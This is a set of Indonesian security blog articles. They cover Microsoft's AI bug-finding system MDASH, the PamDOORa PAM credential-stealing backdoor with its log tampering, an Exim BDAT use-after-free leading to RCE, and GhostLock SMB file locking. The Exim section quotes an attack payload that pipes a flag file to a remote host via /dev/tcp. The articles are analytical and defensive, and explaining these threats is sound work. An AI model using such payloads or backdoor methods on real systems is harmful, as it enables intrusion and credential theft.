CVE-2026-33824 lebih menarik dari sisi ownership semantics, masalah yang terjadi adalah shallow copy melalui memcpy Ketika struktur internal IKEv2 disalin tanpa menduplikasi pointernya, ownership berubah ambigu: subsystem A merasa memiliki buffer, subsystem B merasa hasil copy adalah ownership baru, cleanup berjalan independen, dan allocator menerima dua free untuk chunk sama. Yang penting justru hubungan implicit antar state, di sinilah model reasoning lintas file menjadi relevan. Banyak exploit modern muncul bukan karena fungsi berbahaya tunggal, tetapi karena dua subsystem berbeda memiliki asumsi ownership yang bertentangan. 

Prove Stage

Prove stage ini menjadi bagian yang sangat berbeda dari tools AI lain karena MDASH mencoba membangun trigger aktual. dengan kondisi bahwa sistem harus melakukan tahap memahami constraint parser, memahami format input valid, memahami jalur reachability, dan memahami bagaimana sanitizer mendeteksi corruption. Secara praktek ini sudah mendekati automated exploit triage. 

Bahkan kegagalan yang disebut Microsoft cukup revealing atau memberikan output yang di mana AI menghasilkan format input untuk libFuzzer, padahal harness target menggunakan honggfuzz. Kondisi tersebut memperlihatkan adanya pergeseran pandangan dari cara tools digunakan untuk mencari bug yang sebelumnya tunggal kini mulai menggunakan konteks operasional saat mencari kerentanan. 

Plugin Domain-Specific

Bagian paling penting dari MDASH bukan model frontier saja tetapi plugin internal yang digunakan, kernel Windows penuh aturan implisit: siapa yang boleh free IRP, kapan spinlock harus dilepas ,APC state apa yang valid, object mana yang reference-counted, callback mana yang berjalan di DISPATCH_LEVEL. Ini juga menjelaskan kenapa MDASH bisa mencapai recall tinggi pada tcpip.sys dan clfs.sys. Mereka menginputkan pengetahuan invariant internal langsung ke reasoning pipeline. 

Ini juga memperlihatkan kepada kita bahwa suatu saat yang hebat atau yang jago itu bukan lagi yang paham cara reverse engineering manual tapi yang memiliki pemahaman tentang plugin yang data tersebut bisa di berikan kepada AI tentang sistem yang di targetkan. 

Limitasi MDASH

82% failure di benchmark berasal dari task description yang ambigu yang diuji oleh CyberGym artinya sistem masih membutuhkan anchor awal. Jika target benar-benar undocumented, reasoning graph kemungkinan mulai mengalami ambigu karena model kehilangan arah eksplorasi dan ini menjadi tantangan AI dalam konteks cyber security kepedan karena, dalam cyber security yang hands-on memiliki noise yang sangat singgi sekali sedangkan AI memerlukan data clear untuk membangun konteks yang tepat. 

Dampak terhadap Ethical Hacking

MDASH mengubah cara pekerjaan vulnerability research, Bug sederhana kemungkinan akan habis lebih dulu oleh sistem internal vendor. Jadi bug yang memiliki potensi tersihsah untuk publik bisa memiliki kompleksitas yang sangat tinggi seperti semantic corruption, state desynchronization, logic race, protocol confusion, trust-boundary mismatch. Artinya practical value seorang researcher mulai bergeser ke: memahami invariant internal, membangun plugin reasoning, memahami allocator behavior, memahami lifecycle asynchronous, dan pada akhirnya mengajari AI tentang subsystem tertentu. 

Dalam beberapa tahun ke depan, kemungkinan besar competitive edge bukan lagi siapa punya model terbesar, tetapi siapa punya harness paling matang untuk menghubungkan: LLM, sanitizer, symbolic execution, protocol mutator, historical patch intelligence, ownership reasoning, exploit triage.

MDASH menjadi realisasi terhadap kemampuan AI Model untuk memasuki area cyber security yang kemudian akan terus berkembang kedepan, kondisi ini tidak secara otomatis membuat manusia tergantikan. Karena sangat diperlukan pertanggung jawaban terhadap sebuah tindakan yang dibuat dalam konteks keamanan apalagi di tingkat korporasi akuntabilitas dan pertanggung jawab sangat di perlukan. Pola kedepan yang sangat mungkin terjadi yaitu AI vs AI, kemudian manusia sangat perlu memahami hal-hal mendasar tentang sistem agar memahami apa yang dikerjakan oleh AI itu sendiri. 

Pada realitasnya AI bisa mencari kerentanan tetapi yang memahami sistem keseluruhan apalagi pada tingkat infrastruktu perusahaan adalah manusia, karena sistem yang besar dan kompleks itu perlu sekali fleksibilitas yang tinggi dalam menanganinnya, contoh yang bisa kita ambil bahwa ketika terjadi gangguan pada sistem sebuah perusahaan pada waktu tertentu akan sangat berbeda dengan gangguan pada waktu yang bisa di pahami AI ini juga memberikan gap antara AI yang kaku karena memerlukan pola dan kepastian dokumentasi dengan manusia yang sangat flesibel dan mampu memahami logic secara keseluruhan dalam kondisi tertentu. Jadi AI itu sanagt cepat tetapi potensi buta ketika tidak ada arah itu sangat tinggi dan ini bisa menimbulkan bahaya, sedangkan manusia itu cendrung lambat namun memahami dan perkerjaan bisa di delegasikan kepada siapaun.

Benediktus Sava – Security Researcher

Baca Juga tentang:

GhostLock - Internal Windows

False Positive - Windows Behaviour

Sumber:

Microsoft GeeekWire

PamDOORa: Backdoor PAM Linux dan Jalur Persistensi di Layer Autentikasi - Ethical hacking Indonesia

Sebagian besar implant Linux bermain di layer proses, LD_PRELOAD, service systemd, atau hooking SSH daemon secara langsung. PamDOORa mengambil jalur yang lebih rendah: masuk ke stack PAM dan membiarkan seluruh aplikasi autentikasi memanggil backdoor tersebut secara legitim. Itu mengubah karakter ancamannya secara signifikan, Begitu modul PAM termuat ke dalam alur autentikasi, targetnya bukan lagi SSH saja. 

Yang sebenarnya diambil alih adalah mekanisme validasi identitas sistem. SSH, sudo, console login, hingga beberapa service enterprise berbasis PAM semuanya melewati stack yang sama. Di sini menariknya bukan sekadar persistensi, tetapi posisi eksekusi. PamDOORa berjalan sebelum aplikasi benar-benar menyelesaikan proses autentikasi mereka sendiri.

Kenapa PAM Menjadi Target yang Sangat Efisien PAM pada Linux pada dasarnya adalah dispatcher autentikasi modular. Aplikasi seperti sshd tidak selalu memvalidasi password secara mandiri. Mereka menyerahkan proses itu ke stack PAM melalui call seperti: pam_authenticate() pam_acct_mgmt() pam_open_session(). Urutan modul ditentukan melalui file di: /etc/pam.d/ common-auth system-auth PamDOORa memanfaatkan sifat chaining ini.

Bukan dengan mengganti pam_unix.so, implant menambahkan modul baru seperti pam_linux.so lalu menyisipkannya menggunakan flag sufficient. berikut adalah flow dari modul pam: sshd - pamStack - (pam_linuxso - (impalnt) - pamunix.so - modul normal yang lain)

Karena menggunakan sufficient, modul berbahaya bisa menghentikan chain lebih awal ketika kondisi tertentu terpenuhi. Artinya autentikasi valid tidak perlu pernah mencapai pam_unix.so. Banyak implementasi backdoor lama melakukan patch langsung ke OpenSSH atau libc. Problemnya, perubahan seperti itu relatif mudah ditemukan melalui:

• package verification
• checksum mismatch
• RPM/DPKG integrity
• EDR process telemetry

PamDOORa menghindari area tersebut dan memilih layer middleware autentikasi yang lebih jarang dipantau secara ketat. PamDOOR sulit di lacak atau ditemukan karena network-awareness. yaitu modul yang melakukan pengecekan password dan juga melakukan inspeksi metadata koneksi melalui /proc/[pid]/fd.

Baca Juga Tentang: Linux Internals Shell

Terdapat routine seperti procFindConnectionSocket yang kemungkinan melakukan traversal file descriptor untuk mencari socket aktif milik proses autentikasi, dengan tujuan validasi source connection validasi port TCP tertentu validasi jenis socket/protocol. kemudian adanya implikasi bahwa scanner otomatis atau analyst yang mencoba brute-force trigger password tidak akan pernah melihat perilaku abnormal jika koneksi tidak memenuhi kondisi socket tersebut. backdoor pam ini berada pada jalur berbeda dari scanner biasa, cara ini lebih senyap ketimbang harus implant SSH tradisional yang meninggalkan conditional branch jelas di flow autentikasi utama.

pam juga memiliki akses kredensial cleartext sebelum lifecycle atau siklus autentikasi selesai. Begitu user memasukkan password ke SSH, PAM menerima credential sebelum: hashing internal, session setup, logging aplikasi, beberapa kontrol audit jadi pam membuka jalur baru. jadi secara teknis ini merupakan intersepsi, yang membedakan pam dari keylogging. Jadi implant tinggal mengambil parameter autentikasi lalu meneruskannya kembali agar login terlihat normal. Berikut Flow dari Pam:

User login - sshd menerima credential - pam_authenticate() - pam_linux.so membaca  username/password - credential disimpan - flow diteruskan ke modul asli. 

Dari sudut pandang admin dan juga user biasa, tidak ada anomali yang berbeda dari logic sistem yang ada. Karena password diambil sebelum logging aplikasi, banyak solusi detection berbasis SSH telemetry kehilangan visibility ketika kondisi seperti ini terjadi. 

Data-data yang di ambil kemudian di simpan di dir yang minim pengawasan /temp menggunakan XOR runtime key. Untuk menghindari deteksi pam membuat nama dan timestamp yang dinamis agar supaya noise bercampur atau tidak terlihat tidak nomal pada sistem. Di server enterprise, /tmp sering penuh file sementara dari: package manager, container runtime, service daemon cache aplikasi, sehingga Credential dump kecil dengan nama pseudo-random sulit terdeteksi di dir /temp. 

Baca Juga Tentang: Malware Obfuscation

Pam manipulasi wtmp, utmp, btmp, dan lastlog File-file tersebut adalah database biner yang dipakai utilitas seperti: last, who, w, lastb. Jika implant memodifikasi record langsung di level struktur, maka tool forensik standar akan tetap menampilkan output yang terlihat konsisten. Sebagian besar investigasi awal Linux masih sangat bergantung pada timeline login. Jika timeline tersebut sudah dikorupsi sejak awal, maka: kapan akses pertama terjadi, akun mana yang dipakai, IP mana yang terlibat, kapan privilege escalation dilakukan, sehingga memicu inkonsistensi integritas data yang ditemukan oleh forensik. 

Implat yang dipakai oleh backdoor pam juga menggunakan PAM_IGNORE, Dalam beberapa implementasi PAM, return code seperti PAM_IGNORE memungkinkan modul keluar tanpa memicu failure handling tertentu. Efeknya: noise logging lebih kecil minim autentikasi gagal mencurigakan chain PAM tetap terlihat normal. 

Sebagian besar EDR Linux masih sangat process-centric, yang kuat mendeteksi: process injection, privilege escalation aneh, syscall abnormal malware userland, sedangkan Pam berada di jalur yang memang dipercaya atau trusted way sebagai tempat normalnya sebuah sistem berjalan. Proses sepeerti sshd memanggil PAM kemudian PAM membuat .so lalu kredensial di proses merupakan prilaku normal pada sistem. Akibatnya visibility detection menjadi sulit atau abu-abu kecuali defender memiliki: File Integrity Monitoring, baseline hash modul PAM, audit perubahan /etc/pam.d/, audit loading shared object, remote immutable logging. kalau tidak  implant bisa bertahan lama tanpa menyentuh indikator noisy seperti persistence service atau reverse shell konvensional.

Baca Juga Tentang: Kredensial Attack SSH

Bagi developer dan sysadmin, indikator paling penting justru bukan network IOC saja, Yang lebih relevan: perubahan urutan modul PAM, munculnya .so asing, penggunaan flag sufficient yang tidak biasa, perubahan timestamp pada /etc/pam.d/, shared object baru di path security module. dan juga penting untuk melakukanaudit terhadap path /usr/lib64/security/, /lib/security/, /etc/pam.d/. 

Baca Juga Tentang: Persistence Linux

Untuk detection engineer, masalah utamanya adalah local log tidak lagi bisa dipercaya penuh setelah implant aktif. Jika wtmp dan btmp dapat dimanipulasi, maka autentikasi harus dikorelasikan dengan: NetFlow, firewall log, bastion telemetry, SIEM eksternal, auditd remote forwarding, MFA juga membantu, tetapi konteksnya perlu tepat. Karena implant berada sebelum validasi selesai, password tetap bocor walaupun MFA aktif. MFA hanya membatasi reuse credential secara langsung. Kalau attacker sudah mendapatkan: SSH private key, session hijack, sudo token akses, internal tambahan maka password hanyalah salah satu bagian kompromi.

PamDOOR memiliki design yang berfokus pada: persistensi jangka panjang, stealth operasional, anti-forensik, kontrol akses berbasis kondisi jaringan. Linux server sekarang menyimpan: workload cloud,  container orchestration, secret management, CI/CD pipeline, credential infrastructure, jadi kalau terjadi serangan maka Attacker tidak lagi perlu menarget endpoint desktop secara eksklusif tetapi menguasai satu node Linux dengan implant autentikasi seperti ini memberi akses yang lebih strategis dibanding kompromi workstation biasa.

Melalui PamDOOR ini adanya fragmentasi identitas di berbagai komunitas bawah tanah, di mana tim peneliti Flare mengidentifikasi setidaknya lima persona berbeda yang beroperasi dengan tingkat keahlian yang kontras. Sosok paling menonjol ditemukan di forum Rehub (berbahasa Rusia), yang menjual PamDOORa dan dinilai memiliki kredibilitas teknis tinggi karena penguasaan mendalam pada internal Linux, berbeda jauh dengan persona di forum seperti SpyHackerz yang berfokus pada RAT tingkat menengah, atau di NulledBB yang lebih condong ke arah penipuan dan jual beli data bocor.

Benediktus Sava – Security Researcher

Sumber:

Cyberark

Flare

Exim BDAT UAF: Analisa RCE pada GnuTLS SMTP Server - Ethical Hacking Indonesia

Bug ini sebenarnya bukan bug parsing SMTP biasa. Masalah muncul dari cara Exim menangani transisi antara wrapper BDAT dan sesi TLS GnuTLS saat transfer body email masih berjalan. CVE-2026-45185 pada Exim adalah contoh yang sangat jelas tentang bagaimana satu byte write-after-free dapat berkembang menjadi jalur remote code execution yang kompleks.

Bug ini hanya mempengaruhi Exim yang dibangun menggunakan backend GnuTLS. Attacker mengirim STARTTLS, memulai transfer BDAT, lalu menutup sesi TLS di waktu yang tidak tepat. Namun di balik itu, terjadi inkonsistensi state antara wrapper BDAT dan layer TLS internal Exim.

Saat client menjalankan STARTTLS, Exim membuat sesi gnutls_session_t baru dan mengganti seluruh callback receive SMTP menjadi wrapper TLS seperti tls_getc() dan tls_ungetc(). Setelah handshake selesai, Exim membuat xfer_buffer, yaitu buffer plaintext berukuran 4096 byte yang dipakai untuk menerima hasil dekripsi dari gnutls_record_recv().

Masalah mulai muncul ketika SMTP masuk ke mode BDAT. Berbeda dengan DATA, mekanisme BDAT membaca body email berdasarkan ukuran chunk mentah yang ditentukan client. Untuk menangani ini, Exim membangun lapisan callback tambahan. Callback receive lama disimpan ke variabel lwr_receive_*, lalu callback aktif diganti dengan wrapper BDAT seperti bdat_getc() dan bdat_ungetc().

Secara internal, jalurnya berubah menjadi seperti ini:

bdat_getc() - lwr_receive_getc() - tls_getc() - gnutls_record_recv()

Artinya BDAT sebenarnya tidak membaca langsung dari socket, tetapi masih bergantung pada callback TLS lama yang disimpan sebelumnya. Trigger vulnerability terjadi ketika attacker mengirim close_notify sebelum transfer BDAT selesai. Pada kondisi ini, tls_refill() menerima EOF dari GnuTLS dan memanggil tls_close(). Fungsi tersebut menghancurkan sesi TLS dan membebaskan xfer_buffer menggunakan store_free().

Masalahnya, tls_close() hanya mengembalikan callback utama ke mode SMTP plaintext. Callback lama yang tersimpan di lwr_receive_* tidak disentuh sama sekali. Dengan kata lain, wrapper BDAT masih menyimpan referensi ke fungsi TLS yang seharusnya sudah tidak valid.

Pointer xfer_buffer dibebaskan tetapi tidak di-null-kan. Setelah TLS ditutup, parser BDAT tetap berjalan karena chunk body belum selesai diproses. Ketika parser mencoba memperbaiki line ending, Exim memanggil:

bdat_ungetc('\n'); Yang kemudian masuk ke tls_ungetc() dan melakukan write atau menulis ssl_xfer_buffer[--ssl_xfer_buffer_lwm] = ch; 

inilah use-after-free benar-benar terjadi. ssl_xfer_buffer masih menunjuk ke heap chunk yang sudah dibebaskan beberapa langkah sebelumnya. Primitive utama vulnerability ini hanyalah overwrite satu byte berupa \n atau \r. Namun dalam konteks allocator modern, satu byte overwrite pada metadata heap sering kali sudah cukup untuk mengubah bentuk allocator secara drastis. Peneliti XBOW menunjukkan bahwa byte tersebut dapat diarahkan ke field metadata allocator sehingga memungkinkan manipulasi ukuran chunk dan struktur freelist.

Baca Juga Tentang: use-after-free

Hal yang membuat exploit semakin realistis adalah jalur DKIM Exim sendiri. Setelah TLS dihentikan, parser Exim fallback ke mode plaintext dan mulai membaca sisa body email melalui smtp_getc(). Data body tersebut kemudian diproses oleh dkim_exim_verify_feed(), yang melakukan allocation tambahan menggunakan store_malloc().

Ini memberi attacker kemampuan heap grooming di tengah window use-after-free berlangsung. Dengan mengontrol ukuran body email, attacker dapat memaksa allocator mengisi ulang area heap bekas xfer_buffer dengan data yang mereka kendalikan. Walaupun allocation DKIM bersifat temporer, glibc tidak menghapus isi chunk setelah free sehingga data attacker tetap tertinggal di heap. Di sinilah eksploitasi mulai berkembang dari sekadar crash menjadi primitive memory corruption yang lebih serius.

Eksploitasi awal yang dibuat XBOW menggunakan pendekatan khas heap exploitation Linux modern: merusak largebin glibc, meng-overlap FILE structure, lalu melakukan FSOP untuk mendapatkan kontrol eksekusi melalui fflush(). Teknik ini akhirnya memanfaatkan setcontext() untuk pivot ke ROP chain. 

Exim menggunakan allocator custom bernama store, yang bekerja dengan pool allocator seperti POOL_MAIN, POOL_MESSAGE, dan POOL_TAINT_MAIN. Setiap pool memiliki metadata berupa storeblock dan pooldesc. Dengan overwrite satu byte terhadap field length allocator, exploit dapat membuat Exim percaya bahwa sebuah block heap memiliki ukuran jauh lebih besar dibanding ukuran sebenarnya. 

Akibatnya attacker memperoleh primitive bump allocator palsu. Primitive ini memungkinkan attacker mengontrol posisi allocation berikutnya di pool allocator Exim melalui command SMTP biasa.. Dalam exploit XBOW, primitive ini akhirnya digunakan untuk menimpa pointer global acl_smtp_predata agar menunjuk ke payload ACL attacker. Payload tersebut memanfaatkan fitur ekspansi string Exim ${run{/bin/bash -c 'cat</flag>/dev/tcp/...'}}

Ketika command DATA diproses, Exim mengeksekusi payload tersebut dan attacker memperoleh eksekusi command penuh. Bug ini muncul karena BDAT masih menyimpan callback tls_* setelah tls_close() membebaskan xfer_buffer. Jadi parser body masih mengakses layer TLS yang sebenarnya sudah teardown.

Masalah utamanya ada pada state yang tidak benar-benar reset setelah tls_close(). Callback utama memang dikembalikan ke smtp_*, tetapi lwr_receive_* milik BDAT masih menunjuk ke tls_* wrapper lama. Pada saat yang sama parser body masih aktif dan DKIM tetap melakukan allocation tambahan. Semua subsystem bekerja dengan asumsi state berbeda pada waktu yang sama.

Bagi developer daemon jaringan, ini adalah contoh nyata bahwa bug memory corruption modern sering muncul bukan dari parser tunggal, melainkan dari interaksi antar abstraction layer yang saling membungkus satu sama lain.

Kerentanan ini mempengaruhi Exim 4.97 hingga 4.99.2 dengan backend GnuTLS. Build berbasis OpenSSL tidak terdampak. Saat ini satu-satunya mitigasi yang benar-benar aman adalah upgrade ke Exim 4.99.3, karena patch memperbaiki reset callback dan state parser ketika close_notify diterima di tengah transfer BDAT aktif.

Benediktus Sava – Security Researcher

Sumber:

Xbow

Exim

GhostLock dan Abuse CreateFileW untuk Melumpuhkan SMB - Ethical Hacking Indonesia

Selama bertahun-tahun, hampir seluruh strategi pertahanan ransomware dibangun di atas pola yang sama: deteksi enkripsi massal, perubahan ekstensi file, aktivitas write abnormal, atau komunikasi command-and-control. Teknik ini tidak mengenkripsi file, tidak mengubah isi data, dan bahkan tidak memerlukan privilege administrator. Namun dari sisi korban, dampaknya tetap seperti ransomware karena file bisnis menjadi tidak dapat diakses.

GhostLock memanfaatkan perilaku bawaan Windows melalui API "CreateFileW()", khususnya parameter "dwShareMode". Dalam operasi normal, parameter ini menentukan apakah proses lain boleh membuka file yang sama untuk read, write, atau delete. Ketika nilai "dwShareMode "diatur menjadi 0, Windows memberikan akses eksklusif kepada proses yang pertama kali membuka file tersebut. Selama handle masih aktif, proses lain yang mencoba membuka file akan menerima "STATUS_SHARING_VIOLATION".

Secara teknis, ini bukan vulnerability maupun bug. Windows memang dirancang bekerja seperti itu sejak lama. Justru di sinilah masalahnya. Karena perilaku tersebut dianggap valid oleh sistem operasi, hampir seluruh mekanisme keamanan modern melihat aktivitas GhostLock sebagai operasi file biasa.

Sederhananya, attacker hanya perlu membuka file menggunakan mode eksklusif dan mempertahankan handle tetap aktif. Tidak ada proses enkripsi. Tidak ada overwrite file. Tidak ada perubahan hash. File tetap utuh di disk, tetapi seluruh aplikasi lain kehilangan akses terhadapnya.

Dampaknya menjadi jauh lebih serius ketika teknik ini diarahkan ke SMB share dalam lingkungan enterprise. Banyak organisasi menyimpan ERP, dokumen keuangan, project engineering, atau database operasional di network share yang diakses banyak user sekaligus. Jika ribuan file dibuka dengan "ShareAccess = 0", workflow bisnis dapat berhenti total walaupun tidak ada satu byte pun yang dirusak.

Baca Juga Tentang: SMB - Lateral Movement

Yang membuat GhostLock menarik dari sudut offensive security adalah rendahnya kebutuhan privilege. Teknik ini dapat dijalankan hanya dengan hak baca standar terhadap SMB share. Tidak diperlukan administrator domain, kernel exploit, maupun bypass keamanan tambahan. Selama user memiliki izin membuka file, user tersebut dapat mengunci akses file bagi pengguna lain.

Ini mengubah paradigma availability attack. Biasanya serangan availability membutuhkan:

• enkripsi ransomware,
• destructive wiper,
• atau resource exhaustion.

GhostLock tidak melakukan semuanya tapihanya mengeksploitasi mekanisme locking yang memang sah di Windows.

Dalam skenario realistis, attacker yang sudah memperoleh foothold melalui phishing dapat menggunakan akun domain biasa untuk menjalankan GhostLock pada file server internal. Ketika tim IT sibuk menangani gangguan akses dokumen dan aplikasi bisnis yang gagal membuka file, attacker sebenarnya dapat menggunakan kekacauan tersebut sebagai distraksi untuk melakukan lateral movement atau exfiltration di sistem lain.

GhostLock lebih berbahaya sebagai operational decoy dibanding senjata penghancur utama. Gangguan akses file menciptakan tekanan besar pada administrator karena dampaknya langsung berdampak ke operasional bisnis. Banyak tim incident response akan fokus pada server storage terlebih dahulu, sementara aktivitas kompromi lain berjalan diam-diam di belakangnya.

Baca Juga Tentang: 

Ada detail teknis lain yang cukup penting. Sebagian besar EDR modern memonitor:

• mass file modification,
• suspicious encryption pattern,
• rename operation,
• atau proses write abnormal.

GhostLock hampir tidak menghasilkan telemetry tersebut karena prosesnya hanya membuka file secara legal menggunakan API bawaan Windows. Dari perspektif EDR, operasi ini terlihat seperti aplikasi biasa yang sedang membaca file.

Inilah alasan mengapa teknik ini sulit dideteksi menggunakan pendekatan behavioral ransomware konvensional. Satu-satunya indikator yang benar-benar konsisten justru berada di layer file server, yaitu lonjakan open-file handle dengan "ShareAccess = 0".

Masalahnya, metrik seperti ini jarang dikirim ke SIEM enterprise. Banyak organisasi bahkan tidak memonitor statistik handle SMB secara detail karena selama ini dianggap hanya data operasional storage, bukan indikator serangan.

Baca Juga Tentang: Teknis fast16 - SMB

Dari sudut pandang pentester atau red team, GhostLock menunjukkan bahwa availability attack tidak selalu membutuhkan eksploitasi kompleks. Terkadang fitur sistem operasi yang sah dapat memberikan dampak operasional yang sama besar dengan ransomware tanpa memicu alarm keamanan modern.

Teknik ini menjadi pengingat bahwa deteksi berbasis malicious behavior stereotype memiliki blind spot besar. Banyak organisasi terlalu fokus pada pola ransomware klasik hingga lupa bahwa denial-of-access juga bisa dicapai melalui mekanisme legitimate operating system.

Mitigasi terhadap GhostLock tidak sesederhana memasang patch karena tidak ada CVE yang diperbaiki. Pendekatan yang lebih relevan adalah monitoring SMB session behavior, terutama:

• jumlah open handle abnormal,
• handle dengan "ShareAccess = 0",
• dan pola locking massal dari satu user atau endpoint.

Selain itu, pembatasan akses SMB berbasis least privilege menjadi semakin penting. Banyak lingkungan enterprise memberikan read access terlalu luas terhadap network share internal. Dalam konteks GhostLock, akses baca saja sudah cukup untuk menghasilkan gangguan operasional besar.

GhostLock memperlihatkan sesuatu yang cukup menarik dalam dunia keamanan modern: tidak semua serangan membutuhkan malware canggih atau eksploitasi kernel. Kombinasi kecil antara fitur sistem operasi dan asumsi keamanan yang salah sudah cukup untuk melumpuhkan operasional organisasi tanpa meninggalkan jejak yang biasanya dicari oleh sistem pertahanan modern.

Github POC - WhitePaper

Benediktus Sava – Security Researcher

Sumber:

Microsoft-com

Zenodo

GhostLock